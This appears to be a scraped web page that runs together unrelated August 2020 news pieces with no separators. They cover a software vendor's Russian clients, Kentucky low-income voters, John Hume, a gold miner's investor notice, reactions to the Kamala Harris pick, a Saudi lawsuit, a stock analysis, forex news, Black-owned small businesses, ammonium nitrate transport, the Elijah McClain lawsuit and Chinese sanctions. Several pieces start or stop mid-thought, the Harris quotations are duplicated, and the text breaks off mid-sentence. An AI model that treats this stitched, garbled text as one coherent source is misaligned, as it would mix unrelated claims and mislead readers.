Software has signed partnerships with four customers in Russia since entering the region towards the end of 2019. Leading fast fashion company LIME, casual wear brand Finn Flare, young fashion brand 12Storeez and the leader of Russian and European labor protection market, developer, producer and supplier of workwear, safety footwear, individual PPE and other accompanying goods, Vostok-Service have selected Centric PLM to support strategic digital transformation goals such as creating a foundation for growth, reducing time to market while maintaining high quality standards, and facilitating seamless team collaboration with industry best practices and the newest technologies. Now, more than ever, better pre-season planning is crucial, Galkin continues. Real-time online collaboration with suppliers enables businesses to be more agile and adapt rapidly to unpredictable circumstances. Companies need a big-picture view when building collections and the ability to accurately run virtual what-if scenarios before committing capital and resources to development and production. Centric Software PLM enables the achievement of these goals and gives companies a firm foundation to react to market shifts. Our customer-partners in Russia see Centric PLM as a critical tool for future-proofing their businesses, he adds. Were delighted that so quickly after arriving to serve the Russian market, four innovative companies in Russia have selected Centric Software as a trusted partner, says Chris Groves, President and CEO of Centric Software. Centric PLM has a crucial part to play in building a strong digital foundation for Russian companies now and in the future, and we look forward to forging new relationships in Russia. Learn more about Centric PLM Request a Demo Republicans and Democrats largely ignore poor people because they do not expect them to vote at the same levels as their higher-income neighbors. But 2020 could change that. In the midst of the worst economic crisis since the Great Depression, campaigns that court low-income nonvoters by focusing on issues like expanding Medicare and raising wages could transform the political landscape. The election for governor in Kentucky last year reveals the power of poor and low-income voters to do just that. Gov. Matt Bevin, an unpopular Republican incumbent who embraced austerity measures, was endorsed by President Trump, who had won Kentucky by 30 percentage points in 2016. When the Kentucky branch of the Poor Peoples Campaign, which builds coalitions to address issues affecting poor and low-income people, invited organizations of low-wage workers and health care advocates in Lexington and Louisville to join coal miners from Appalachia in a movement to motivate nonvoters, the tide of the election started to shift. Low-income people began to talk to one another about how much they had in common. These new relationships helped foster a sense of commitment. These people stood together in churches and told their stories of poverty, marched together on the Statehouse in Frankfort and canvassed neighborhoods together to talk with residents about the issues that mattered to them. People who often feel ignored by political campaigns shifted the public conversation. Mr. Bevin had used the tropes of Christian nationalism to cast his pro-corporate policies as anti-abortion, but everyday Kentuckians spoke out to say that health care, living wages and voting rights were moral issues to them. Mr. Bevins Democratic challenger, Andy Beshear, courted those voters and inspired a turnout 44 percent higher than the turnout four years earlier, including many low-wage voters who cast ballots for the first time. Some critics of John Hume have been saying in the past week that he betrayed his own sectarianism by turning his back on unionists to make a deal with the IRA. This is nonsense. It presupposes that an opportunity existed in the 1980s for the SDLP to go into government with the Ulster Unionists and build a middle ground. That was the British plan, following the collapse in 1974 of the power-sharing Sunningdale Agreement. My understanding of Hume is that his sole project was to revive Sunningdale. It had achieved the agreement of much of unionism, most nationalists and the two governments. It had been brought down by street protests. When Hume was using his frustratingly non-specific language about how you can't eat a flag and how we should combine our talents and how division is between people not territory, he was evading the specifics of what he meant, which might have been stated more baldly as, "We're going back to Sunningdale, or we're going nowhere". Sunningdale had been destroyed by loyalist protests, but also by the continuing IRA campaign. Had the IRA accepted it, much of the loyalist wrath might have subsided. I might be wrong: the opposite might have happened. The IRA accepting the compromise of power-sharing might have alarmed unionists further. Whatever, at the time tensions were too high, the paramilitaries were too strong. It didn't work. Perhaps it wasn't even properly tried, since the government of Harold Wilson wasn't prepared to go far enough in defending it. But a day would come when the paramilitaries were weakened by infiltration and loss of popular support and, when that happened, the Sunningdale Agreement could be put back on the table, lightly garnished to look like something else and this time it would hold. Hume had been a key thinker behind the 1973 Sunningdale Agreement and he dug in to defend it through the decades of despair. There has been a lot of talk about what a visionary Hume was. If that is true, then he had that vision in the early 1970s and held fast to it. And he refused alternatives. There was the James Prior assembly and the idea of rolling devolution. The parties would come together and, in as much as they could, work constructively. And they would be given more work to do. Hume's refusal to enter that assembly persuaded some unionists that he was only really interested in a united Ireland and that he was seeking to achieve it with a pan-nationalist front. But it was Hume who had taken a united Ireland off the table - and unionists didn't know that. In March 1972, Edward Heath prorogued the Stormont parliament. Initially, he had just wanted Westminster to take responsibility for security, but the Northern Ireland Prime Minister (or "premier", as he was often called), Brian Faulkner, refused to govern without security powers and Britain took the whole package. At that point, the Irish Government chose to press Britain to make a united Ireland the goal of its policy. They were serious. Others said that it was a nonsensical idea for the Republic to seek unity, because of cost, but it is plain from the advisory papers from the Department of Foreign Affairs that that is what they were pushing for, hoping that membership of the Common Market would take care of the economic difficulties. What this meant was that there was a potentially broad demand for a united Ireland that would have been difficult to resist. The Republic wanted it. The IRA wanted it. The next and former prime minister, Harold Wilson, wanted it. The Foreign and Commonwealth secretary, Alec Douglas Home, wanted it. And Irish America wanted it. Patrick Hillery, the Irish foreign minister, met with the new Secretary of State, William Whitelaw, and virtually harangued him into consenting to the Taoiseach Jack Lynch making a speech to say that the British would now deliver a united Ireland; that that was their goal. And Whitelaw refused, primarily concerned to avoid civil war. He told Hillery that William Craig's Vanguard movement was armed and that he could not risk provoking it. And that reasoning suggests that even Whitelaw had not thought through a principled, or constitutional, reason why Britain could not expel Northern Ireland from the Union. If an IRA leader had understood that such pressure was on for a united Ireland, he might have taken heart. He might even have ended the IRA campaign and left it to others to finish the job. The party that broke that broad front was the SDLP. When Hume, in later years, was boring us with platitudes, what he was saying was that we could still have power-sharing with an Irish dimension and implicit in this was an assurance that that was what most of the people would settle for. Had he made a soft deal with Molyneaux in the 1980s, he would not have delivered his plan. He would simply have become a de facto unionist with an acknowledged, but impossible, aspiration to be Irish. And he would have been vulnerable to continuing paramilitary campaigns by the IRA and the loyalists. The SDLP would have been wiped out before it had delivered anything. When Heath was on the verge of introducing direct rule, Alec Douglas Home wrote to him to urge him to set a united Ireland as the goal of policy. In his letter, he said that the Irish are not like the Scots and the Welsh and will always be a problem inside the Union. Douglas Home was right. When the Irish saw British soldiers on the street, they did not think of them as "our" soldiers. When those soldiers killed people, Irish people did not think of that as being done on their behalf, for their security, the way a Londoner might regard the shooting of a suspect, even an innocent suspect, by the Metropolitan Police. The option of turning us into contented West Brits was not there, but neither was there any prospect of winning a majority of nationalists over to supporting the IRA. There was an internal logic to this situation and Hume understood it and, in the end, it was the force of that logic that drew the IRA into constitutional nationalism, where their brothers and sisters and cousins and all were waiting for them. That logic was founded on the simple fact that most people who called themselves nationalists in that generation had no wish to face the disruption, violence and cost of a united Ireland. Future generations may think differently. You may also like these stories: The United States grossly interfered in Chinas internal affairs and seriously violated international law, Foreign Ministry spokesman Zhao Lijian told reporters. China said it has decided to impose sanctions on US lawmakers, starting Monday, in retaliation for a recent move to penalize 11 senior Chinese officials for curtailing freedoms in Hong Kong. World China to Penalize US Lawmakers Over Hong Kong as Retaliation Travelers to Singapore to Be Electronically Tagged for 14 Days Trump Says He Will Ban TikTok on Sept. 15 Unless US Firm Buys It Ex-Aide to Daw Aung San Suu Kyi to Contest Election, but Not Under NLD China Raps US for Using National Security as Reason to Bully TikTok Myanmar Health Experts Fear Public Complacency Could Lead to Second Wave of COVID-19 Myanmar Lawyers Elect New Bar Council for First Time Since Military Regime Myanmar Ministry to Probe Whether Pro-Army Video Was Shot in Violation of COVID-19 Ban Nominee US Ambassador to Myanmar Hints at Need to Counter Chinas Influence in Senate Testimony Myanmar Govts Move to Protect Migrant Voting Rights: Too Little, Too Late? Four Ethnic Fighters Jailed for 35 Years for Attack on Myanmar Militarys Defense Academy Former Suu Kyi Ally Behind New Political Party Bows Out of Myanmar Election Non-Signatories to Myanmars Nationwide Ceasefire Agreement Yet to Decide on Attending Peace Conference China to Penalize US Lawmakers Over Hong Kong as Retaliation We do not encourage viewing this site in this width. Please increase the size of your window. Investor Presentation August 2020 Perth, Aug 11, 2020 AEST (ABN Newswire) - Horizon Minerals Limited ( ASX:HRZ ) provides the Investor Presentation August 2020 featuring a large, quality tenement holding in the heart of the Western Australian Goldfields.The presentation outlines:- +850km2land holding- All on major regional geological structures within 75km radius of Boorara1.1MOZ GOLD RESOURCE TO UNDERPIN STANDALONE DEVELOPMENT- 507koz resource at Boorara deposit provides base load feed- Targeting DFS H1 CY21OUTSTANDING EXPLORATION POTENTIAL- Numerous greenfields and brownfields opportunities- Recently granted new discovery areas drill ready70,000M DRILLING PROGRAM PLANNED- Infill drilling to grow / improve confidence in resource base- Multiple high priority targets to be testedSTRONG MANAGEMENT TEAM- Extensive experience in developing and operating goldmines in the Goldfields regionTo view the presentation, please visit:About Horizon Minerals Limited Horizon Minerals Limited (ASX:HRZ) is a gold exploration and mining company focussed on the Kalgoorlie and Menzies areas of Western Australia which are host to some of Australia's richest gold deposits. The Company is developing a mining pipeline of projects to generate cash and self-fund aggressive exploration, mine developments and further acquisitions. The Teal gold mine has been recently completed. Horizon is aiming to significantly grow its JORC-Compliant Mineral Resources, complete definitive feasibility studies on core high grade open cut and underground projects and build a sustainable development pipeline. Horizon has a number of joint ventures in place across multiple commodities and regions of Australia providing exposure to Vanadium, Copper, PGE's, Gold and Nickel/Cobalt. Our quality joint venture partners are earning in to our project areas by spending over $20 million over 5 years enabling focus on the gold business while maintaining upside leverage. Chris Hemsworth was in India in 2018 for the shoot of Netflix Original film Extraction. Chris Hemsworth is celebrating his 37th birthday today. The Avengers actor is married to model-actor Elsa Pataky and the couple have named their daughter India. In an interview with news agency IANS while promoting his film Men in Black: International in 2019, Hemsworth revealed the inspiration behind their daughter's name, My wife spent a lot of time in India and that was where the name originally came from. Apart from India Rose, Hemsworth and Pataky have two more children Sasha and Tristan. The actor visited the country in 2018 to shoot Netflix's Original Extraction. The film was shot in Ahmedabad and Mumbai. Hemsworth has been all praise about the country and has spoken about it several times. A Hindustan Times report quoted the actor saying that he loves the place and the people. He further said that while he was shooting in India, there were thousands of people on the streets that he has never experience on set. Speaking more about his bond with the country, Hemsworth said he has pleasant memories of people and interactions there. In the film Extraction, Randeep Hooda shared the screen with Hemsworth. The film marked the international debut of Hooda. In an interview with Koimoi, Hooda said Chris was really sweet and a very funny guy, full of energy. He further said that the hard work that Hemsworth puts is "amazing". Meanwhile, a report by The Post and Courier said that Hemsworth is bulking up for his new film for Netflix, the shooting for which is expected to begin soon. The report mentioned the actor saying that he will have to undergo a massive body transformation to play pro wrestling icon Hulk Hogan in the film. Democrats from across the party including some of the women on Joe Biden's vice-presidential shortlist are championing his historic appointment of Sen. Kamala Harris as his running mate. What they're saying: "Joe Biden nailed this decision," former President Barack Obama wrote in a lengthy statement. "By choosing Senator Kamala Harris as Americas next vice president, hes underscored his own judgment and character. Reality shows us that these attributes are not optional in a president." Hillary Clinton tweeted: "I'm thrilled to welcome Kamala Harris to a historic Democratic ticket. She's already proven herself to be an incredible public servant and leader. And I know shell be a strong partner to Joe Biden. Please join me in having her back and getting her elected." tweeted: "I'm thrilled to welcome Kamala Harris to a historic Democratic ticket. She's already proven herself to be an incredible public servant and leader. And I know shell be a strong partner to Joe Biden. Please join me in having her back and getting her elected." Former UN Ambassador Susan Rice , who several sources said was a finalist for VP: "I warmly congratulate Senator Kamala Harris on her selection as Joe Bidens Vice Presidential running mate," said Senator Harris is a tenacious and trailblazing leader who will make a great partner on the campaign trail." , who several sources said was a finalist for VP: "I warmly congratulate Senator Kamala Harris on her selection as Joe Bidens Vice Presidential running mate," said Senator Harris is a tenacious and trailblazing leader who will make a great partner on the campaign trail." Sen. Bernie Sanders tweeted that Harris "understands what it takes to stand up for working people, fight for health care for all, and take down the most corrupt administration in history." tweeted that Harris "understands what it takes to stand up for working people, fight for health care for all, and take down the most corrupt administration in history." Sen. Elizabeth Warren , a former presidential candidate and VP contender: "Shell be great partner to Joe Biden in making our government a powerful force for good in the fight for social, racial, and economic justice. And Im SO looking forward to seeing Kamala take on Mike Pence on the debate stage. Go Kamala!" , a former presidential candidate and VP contender: "Shell be great partner to Joe Biden in making our government a powerful force for good in the fight for social, racial, and economic justice. And Im SO looking forward to seeing Kamala take on Mike Pence on the debate stage. Go Kamala!" Sen. Amy Klobuchar, who removed herself from the VP consideration, wrote on Twitter: "Kamala is a good friend and incredibly strong public servant. Sometimes campaigns can tear friendships apart but we grew closer and I know she has what it takes to lead side-by-side with Joe Biden." who removed herself from the VP consideration, wrote on Twitter: "Kamala is a good friend and incredibly strong public servant. Sometimes campaigns can tear friendships apart but we grew closer and I know she has what it takes to lead side-by-side with Joe Biden." Rep. Karen Bass, who was also being vetted by Biden, tweeted: "Kamala Harris is a great choice for Vice President. Her tenacious pursuit of justice and relentless advocacy for the people is what is needed right now. I worked closely with her when I was in Sacramento and she was the District Attorney in San Francisco. I continue to work closely with her here in Washington, DC as we push to reform our nation's policing system." who was also being vetted by Biden, tweeted: "Kamala Harris is a great choice for Vice President. Her tenacious pursuit of justice and relentless advocacy for the people is what is needed right now. I worked closely with her when I was in Sacramento and she was the District Attorney in San Francisco. I continue to work closely with her here in Washington, DC as we push to reform our nation's policing system." House Majority Whip Jim Clyburn , who has been credited with reviving Biden's presidential campaign before the South Carolina primary, told MSNBC: "I am ecstatic. As you know, I'm the father of three daughters. I've been saying what a plus it would be to have an African-American woman on the ticket. I just think we are breaking ground here." , who has been credited with reviving Biden's presidential campaign before the South Carolina primary, told MSNBC: "I am ecstatic. As you know, I'm the father of three daughters. I've been saying what a plus it would be to have an African-American woman on the ticket. I just think we are breaking ground here." Gov. Gretchen Whitmer of Michigan, who reportedly met with Biden during the VP vetting process, said she's "extraordinarily proud" to support Harris. of Michigan, who reportedly met with Biden during the VP vetting process, said she's "extraordinarily proud" to support Harris. Stacey Abrams , who was also being vetted for VP, tweeted: "I am privileged to have spoken with Vice President Biden at length over the weekend and again today. He is building a team that can rebuild America and restore our faith in what lies ahead." , who was also being vetted for VP, tweeted: "I am privileged to have spoken with Vice President Biden at length over the weekend and again today. He is building a team that can rebuild America and restore our faith in what lies ahead." Andrew Yang , former 2020 candidate, said in a statement: "A vice presidential candidate who's leading the fight for cash relief for American families is exactly what our country needs right now. ... Senator Harris knows that, in this moment, the best thing we can do is invest in our people. I look forward to working with a Biden-Harris administration to get cash into Americans' hands." , former 2020 candidate, said in a statement: "A vice presidential candidate who's leading the fight for cash relief for American families is exactly what our country needs right now. ... Senator Harris knows that, in this moment, the best thing we can do is invest in our people. I look forward to working with a Biden-Harris administration to get cash into Americans' hands." Aimee Allison, founder of She the People, a political group for women of color, said in a statement: ""Today is a spark of hope and a watershed moment for Black women and women of color. Her work to understand the struggles of the women of color leading the movement on the ground is what sets her apart in this critical moment." The other side: The Trump campaign called Harris Biden's "political living will" and accused the new Democratic ticket of "surrendering control of our nation to the radical mob with promises to raise taxes, cut police funding, kill energy jobs, open our borders, and appease socialist dictators." Go deeper: More details on Biden's decision to pick Harris US court summons Saudi crown prince over alleged assassination attempt Iran Press TV Monday, 10 August 2020 2:31 PM A court in the United States has summoned Saudi Crown Prince Mohammed bin Salman (MBS) based on a lawsuit initiated by a former senior Saudi intelligence official accusing the kingdom's de facto ruler of an assassination attempt against him. The District of Columbia court on Friday issued the summons, just a day after Saad Aljabri filed a lawsuit against MBS, accusing the top royal of sending a hit squad to trap and kill him in the United States and Canada, Qatar's Al Jazeera broadcaster reported on Sunday. The ex-official, who functioned as a top aide in the Saudi Interior Ministry for years, now lives in Canada and is reportedly under increased protection by police and private security guards. The summons, which mentioned 12 other people by name in addition to the crown prince, said, "If you fail to respond, judgment by default will be entered against you for the relief demanded in the complaint." The lawsuit alleges that a team of Saudi agents carrying forensic gear and including forensic experts arrived at an airport in Ontario in October 2018. They tried to enter on Canadian tourist visas but were turned away by Canadian border officials. Aljabri claimed that his close ties with the US intelligence community and deep knowledge of the prince's activities had turned him into one of the key targets of bin Salman. "Few places hold more sensitive, humiliating and damning information about defendant bin-Salman than the mind and memory of Dr. Saad - except perhaps the recordings Dr. Saad made in anticipation of his killing," the lawsuit read. Riyadh has already issued Interpol red notices, the highest-level notice, seeking Aljabri's extradition, accusing the former senior intelligence officer of corruption. The international organization, however, has dismissed the notices as political. Nevertheless, the Saudi regime has urged other countries to send Aljabri back to the Arab kingdom. According to the lawsuit, the Saudi crown prince had purportedly ordered the detention of two of Aljabri's children, who went missing from their home in Riyadh in mid-March, in a bid to force Aljabri to return to Saudi Arabia. It also asserts that other relatives of the ex-official have been arrested and allegedly tortured "all in an effort to bait Dr. Saad back to Saudi Arabia to be killed." Attempts by the Saudi regime to forcibly return certain citizens living abroad began attracting global attention after the gruesome assassination of Saudi critic Jamal Khashoggi two years ago. The ill-fated dissident, an MBS critic and Washington Post journalist, was executed and dismembered after entering the Saudi Consulate in Istanbul in 2018. The journalist is widely believed to have been murdered on bin Salman's direct orders. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address There are a few key trends to look for if we want to identify the next multi-bagger. Firstly, we'll want to see a proven return on capital employed (ROCE) that is increasing, and secondly, an expanding base of capital employed. If you see this, it typically means it's a company with a great business model and plenty of profitable reinvestment opportunities. With that in mind, we've noticed some promising trends at Mount Gibson Iron (ASX:MGX) so let's look a bit deeper. Return On Capital Employed (ROCE): What is it? For those who don't know, ROCE is a measure of a company's yearly pre-tax profit (its return), relative to the capital employed in the business. The formula for this calculation on Mount Gibson Iron is: Return on Capital Employed = Earnings Before Interest and Tax (EBIT) (Total Assets - Current Liabilities) 0.12 = AU$82m (AU$759m - AU$74m) (Based on the trailing twelve months to December 2019). Thus, Mount Gibson Iron has an ROCE of 12%. In absolute terms, that's a satisfactory return, but compared to the Metals and Mining industry average of 9.8% it's much better. Check out our latest analysis for Mount Gibson Iron roce In the above chart we have a measured Mount Gibson Iron's prior ROCE against its prior performance, but the future is arguably more important. If you're interested, you can view the analysts predictions in our free report on analyst forecasts for the company. The Trend Of ROCE We're delighted to see that Mount Gibson Iron is reaping rewards from its investments and is now generating some pre-tax profits. The company was generating losses five years ago, but now it's earning 12% which is a sight for sore eyes. In addition to that, Mount Gibson Iron is employing 77% more capital than previously which is expected of a company that's trying to break into profitability. This can tell us that the company has plenty of reinvestment opportunities that are able to generate higher returns. Story continues Our Take On Mount Gibson Iron's ROCE Overall, Mount Gibson Iron gets a big tick from us thanks in most part to the fact that it is now profitable and is reinvesting in its business. Since the stock has returned a staggering 365% to shareholders over the last five years, it looks like investors are recognizing these changes. So given the stock has proven it has promising trends, it's worth researching the company further to see if these trends are likely to persist. If you'd like to know more about Mount Gibson Iron, we've spotted 3 warning signs, and 1 of them is a bit concerning. While Mount Gibson Iron isn't earning the highest return, check out this free list of companies that are earning high returns on equity with solid balance sheets. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com. The Pound Sterling Australian Dollar (GBP/AUD) exchange rate remained largely flat on Tuesday. This left the pairing trading at around AU$1.8248. Sterling struggled to make gains against the Aussie after the Office for National Statistics (ONS) revealed the UK suffered its largest fall in employment since the height of the financial crisis in 2009. The number of people in work plummeted by -220,000 in the second quarter as the coronavirus pandemic took a huge toll on the labour market. However, the countrys unemployment rate held steady at 3.9% despite forecasts of an increase to 4.2%. Although this mainly reflected the jump in people giving up searching for work. Separate data also showed the number of staff on payrolls fell by -731,000 since March. This weighed on sentiment as it suggests there will be a much larger increase in the countrys unemployment rate. Further job losses are expected as the governments furlough scheme comes to an end in October. The British finance minister, Rishi Sunak also noted that the current figures show the scheme is working but an increase in job losses is inevitable. Commenting on this, Ruth Gregory, senior economist at Capital Economics said: The cracks evident in the latest batch of labour market data are likely to soon turn into a chasm. Ive always been clear that we cant protect every job, but [...] we have a clear plan to protect, support and create jobs to ensure that nobody is left without hope. The Australian Dollar struggled today despite a measure of Aussie business conditions rose in July. This was thanks to a rebound in the countrys service sector, although confidence was hit badly by a second wave of the coronavirus crisis in the second most populous state of Victoria. National Australia Banks (NAB) index of business conditions rose from -8 in June to 0 in July. This was up from Aprils -34 at the height of the pandemic, and much closer to the long-run average of 6. However, NAB also revealed business confidence fell back to -14 in July after rising to 0 in June. Commenting on this, NAB Group Chief Economist Alan Oster noted: Conditions have now recovered to be broadly around their pre-COVID level with improvements across the country. The fall in confidence even prior to the announcement of stage 4 restrictions in Melbourne demonstrates that businesses will remain very cautious given the great uncertainty around the virus at the moment. Meanwhile, a weekly survey of consumer confidence also showed that sentiment plummeted for the seventh week thanks to the latest lockdown in Victoria. Pound to Australian Dollar Outlook: Aussie Confidence and UK Growth in Focus Looking ahead, the Australian Dollar (AUD) could suffer losses against the Pound (GBP) following the release of the latest Aussie consumer confidence data. If Westpacs Consumer Confidence Index slumps further in August due to the second wave of the coronavirus pandemic, the Aussie will slide. However, the pairing could be left flat following the release of the latest growth data from Britain. Traders have been eagerly awaiting the flash GDP data which is likely to show growth contracted. The countrys economy is expected to shrink by more than 20% in the three months to June. If data reveals Britains economy has contracted more than forecast, it will leave the Pound Australian Dollar (GBP/AUD) exchange rate flat. Virginia Ali, co-owner of Ben's Chili Bowl, one of the many Black-owned businesses on Avenue U in Washington D.C., sits near photos of her and her husband Ben, on June 15, 2020. Numerous studies have shown that African-American entrepreneurs, particularly in the service sector such as restaurants, have suffered most severely from the economic and health crisis. BRENDAN SMIALOWSKI | AFP | Getty Images Black small business owners and small business owners of color in general are particularly pessimistic about their enterprises surviving the coronavirus economy. That likely means continued divergence in small business fortunes along racial and ethnic lines. Just last week, the Federal Reserve Bank of New York released a study highlighting the deep toll Covid-19 has had on Black-owned small businesses, with 41% shutting down between February and April. The shuttering proportions were also elevated among Hispanic (32%) and Asian-owned small businesses (26%) relative to White-owned small businesses (17%). The latest CNBC|SurveyMonkey Small Business Survey echoes this divergence: Barely more than half of small business owners who are Black, Hispanic, Asian, or another race say their business can last for more than a year under current conditions, compared with nearly two-thirds of Whites who say the same. Zoom In Icon Arrows pointing outwards Black-owned small businesses are the most likely to be pessimistic about survival, with just under 20% saying they can only operate for a few months or less under current conditions. CNBC|SurveyMonkey Q3 Small Business Survey The Q3 CNBC|SurveyMonkey poll was conducted among more than 2,000 small business owners across the country from July 20-27, and it is the latest in a quarterly series of surveys conducted among small business owners dating back to 2017. While the analysis from the New York Fed had a time horizon of February to April of this year, this new poll provides a more updated snapshot of small business sentiment. Racism and the small business landscape Since the killing of George Floyd in late May, Americans have been grappling with a renewed realization that racism persists in this country in 2020. Black small business owners deal with the same overt racism that all Black people face, but they encounter additional, more specific and sometimes more insidious facets of discrimination in the business world. Black small business owners have endured an especially tumultuous few months. They have been hit harder by the coronavirus pandemic, they have received less federal support, and their recovery from the second to third quarter of this year has been less successful when compared with White small business owners in particular. In our second quarter survey this past April, Black small business owners were less likely than small business owners of any other race to have applied for either an economic injury disaster loan from the Small Business Administration or a loan as part of the Paycheck Protection Program (PPP). The analysis from the New York Fed points to the fact that Black-owned small businesses tend to be concentrated geographically in parts of the country that have faced the most direct impact from the coronavirus, and yet small businesses located in those areas have not received a disproportionate share of the federal small business relief. Banks are more likely to extend a line of credit or prioritize processing a loan for clients with whom they have long-standing relationships; those clients are most often White. Claire Kramer Mills, assistant vice president at the New York Fed, attributes the problem to a disparity in the small business world that typically goes unacknowledged: the fact that small business owners of color have weaker ties with the financial industry as a whole, and therefore have fewer opportunities afforded to them in good times and bad times alike. "The racial disparities in bank relationships prior to Covid-19 detailed here raise structural questions about the presence and functioning of banks in communities of color, questions that have heightened significance when banks are relied on to administer federal, taxpayer-supported relief programs" she stated in the Fed analysis. Banks are more likely to extend a line of credit or prioritize processing a loan for clients with whom they have long-standing relationships; those clients are most often White. Yet, relative to other small business owners, Black small business owners are overrepresented in the exact industries such as retail, food services, and health care that rely on in-person interactions and that have been the most disrupted by the coronavirus pandemic. This shows up in the CNBC|SurveyMonkey data in several ways. For one, Black small business owners are more likely than average to be incurring new expenses on coronavirus-related safety measures (63% vs. 54%). With revenue falling among small business owners across the board, these additional expenses could be especially problematic for those who have less help from the banks. Shutdowns persist for Black-owned small business A diminished access to the banking system is a systemic failure of the small business world's support for Black small business owners and other small business owners of color, but the current economic climate pushes more immediate disparities forward. Recovering from a complete shutdown is a challenge for any business, and small business owners of color are more likely than others to find themselves needing to figure out how. In the CNBC|SurveyMonkey survey, a majority of all small business owners say they've remained open throughout the shutdown (58%), but Black small business owners fall short of that average (47%). Even by late July, well after the phased-in reopenings that cascaded through the country in early summer, Black small business owners were a bit more likely than average to say that their business has still not yet re-opened after temporarily shutting down (16% vs. 11%). With these elevated shutdown rates, it's perhaps no surprise that Black small business owners are less optimistic about their ability to survive for a year or more under "current conditions," as noted above. Nearly 34 per cent chemists in Delhi have stocked the abortion drug. Scrutiny and over-regulation, leading to non-availability of MA drugs, is a major cause of concern and is likely to result in millions of women being denied access to a safe abortion method. Chemists, however, do not seem to share this misconception, only about 10 per cent chemists across the states where the study was conducted, reported that MA drugs can be used for sex-selective termination of pregnancy. Hyderabad, Aug 11 : With 180 tonnes of ammonium nitrate being transported from Chennai Customs to a Hyderabad firm, Telangana Governor, Dr Tamilisai Soundararajan, has said that she is concerned about the safety of the people. The Governor tweeted that she reached out to officials concerned to assess and follow up the situation and underlined the need for ensuring safety. Some Twitter users thanked the Governor for raising the issue. One of them urged her to block the transport of the explosive chemical. "Let's not make Hyderabad another Beirut or India another Lebanon," he tweeted. A powerful explosion in the ammonium nitrate stored at Beirut port on August 4 killed over 200 people and injured more than 5,000 and caused widespread devastation in the Lebanese capital. The Telangana Industries Department decided to inspect Salvo Explosives and Chemicals, which is set to receive 10 trucks of ammonium nitrate on August 12 at its manufacturing facility at Ankireddipally village on the outskirts of Hyderabad. According to the firm's Managing Director A. Shyam Sundar Reddy, the company bought 690 tonnes of ammonium nitrate in February in an auction held by the Chennai Customs. The company uses the compound to make explosives for mining companies like Singareni Collieries. It has tried to allay apprehensions over the public safety, saying it has been handling 1,500 tonnes of ammonium nitrate every month. Reddy said the ammonium nitrate would be stored in the company warehouse as per the safety precautions prescribed by the Petroleum and Explosives Safety Organisation (PESO). Following the news of ammonium nitrate's transport from Chennai to Hyderabad, some police officials from Rachakonda commissionerate visited the company and inquired if it had the necessary permission for receiving the consignment. The ammonium nitrate bought by Salvo Explosives was seized by the Chennai Customs in 2015 after a company imported it from South Korea without proper license. It was stored at Sattva Container Freight Station in Chennai. After the Beirut port blast, the Centre had asked customs officials to shift ammonium nitrate lying at ports and container freight stations to safer places. While 180 tonnes of the compound in 10 containers was dispatched to Hyderabad by road on August 9, the remaining consignment is also expected to reach Hyderabad in the coming few days. It also appears that Biden is looking to the future with an eye toward his successor. Harris, unlike Susan Rice, has considerable experience running for office, and her presidential campaign was good training for her new role, as well as her possible next one. She has the brains and political acumen to be ready to take up the torch in four years or eight or sooner, should tragedy strike. The family of a 23-year-old Black man who died after a violent encounter with Aurora, Colorado, police officers filed a civil rights lawsuit against the city and its police on Tuesday, alleging murder and routine use of excessive force against Black people. The man, Elijah McClain, was walking on the street alone in August 2019 when he was stopped by three officers based on a report that he was being suspicious." According to the complaint, the officers held him in two carotid holds around his neck, tackled him although he presented no physical threat, and medics attending to him administered an overdose of ketamine which left him unconscious. McClain died days later in the hospital. Plaintiffs bring this action seeking both accountability for the profound loss of a beautiful soul, and to ensure that Elijah did not die in vain by sending a resounding message that racism and brutality have no place in American law enforcement," McClains family wrote in the complaint. A spokeswoman for Aurora said the city attorneys office was reviewing the complaint but had no immediate comment. The family maintains that McClain had committed no crime and was stopped unlawfully. Citing previous instances of Aurora police forcefully detaining Black people, they alleged that McClains case was part of a pattern of racist policing. The case drew renewed scrutiny and public ire in June as protesters against racial injustice and police brutality took to the streets across the United States after George Floyd, a Black man, died in Minneapolis when an officer knelt on his neck. The officers forceful restraint of McClain lasted 18 minutes and he was handcuffed and on the ground for 15, the complaint said. I cant breathe. I cant breathe please. I cant. I cant breathe. I cant breathe, please stop," were among his last words, according to the complaint. The officers have said that McClain tried to take their guns, but there is no body camera footage to support those statements, the complaint said. Representatives for the officers could not immediately be reached. The lawsuit also named Aurora Fire Rescue Department personnel as defendants, alleging that medics failed to care for McClain when they injected him with ketamine, a powerful sedative, which impaired his breathing. According to the complaint, McClain showed no signs of resisting when the medics administered the ketamine; he was lying on the ground and moved only to vomit. The department did not immediately respond to a request for comment. Three Aurora police officers were fired and a fourth resigned last month after authorities found that they shared photographs of themselves re-enacting the chokehold used to subdue McClain near the site of the encounter. One of the officers who detained McClain was among those fired. The Justice Departments Civil Rights Division said last month that it launched a probe into the incident last year. Colorado Governor Jared Polis appointed a special prosecutor to review the case in June. Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor US Senator Marco Rubio is among the 11 Americans sanctioned by China China on Monday sanctioned 11 Americans, including senators Marco Rubio and Ted Cruz, in retaliation for similar US moves prompted by Beijing's crackdown in Hong Kong. Washington last week accused 11 officials of suppressing "freedom and democratic processes" in Hong Kong, including city leader Carrie Lam, and announced plans to freeze their US assets. It was the toughest US action yet in response to Beijing's introduction of a sweeping and controversial new national security law for the territory. Beijing said the measure was a violation of international law and "grossly interferes in China's internal affairs". "China has decided to impose sanctions on some people that behaved badly on Hong Kong-related issues," foreign ministry spokesman Zhao Lijian said Monday, with Human Rights Watch director Kenneth Roth and National Endowment for Democracy president Carl Gershman also on the list. Zhao did not give details of what the sanctions would entail. "The Chinese government's announcement of unspecified sanctions against me is little more than an effort to distract attention from its wholesale assault on the rights of the people of Hong Kong," Roth said in a statement issued by Human Rights Watch. Republican senators Rubio and Cruz established themselves as two of the most vocal supporters of Hong Kong's democracy movement last year, when the city was convulsed by huge and sometimes violent protests. Beijing has accused "external forces" of fomenting unrest and responded to the unrest by imposing the security law in late June, sending a political chill through the semi-autonomous finance hub. Since then, the city's leaders have postponed local elections, citing the coronavirus pandemic. Authorities have also issued arrest warrants for six exiled pro-democracy campaigners and launched a crackdown on other activists. On Monday, Hong Kong media mogul Jimmy Lai, one of the city's most vocal Beijing critics, was arrested under the security 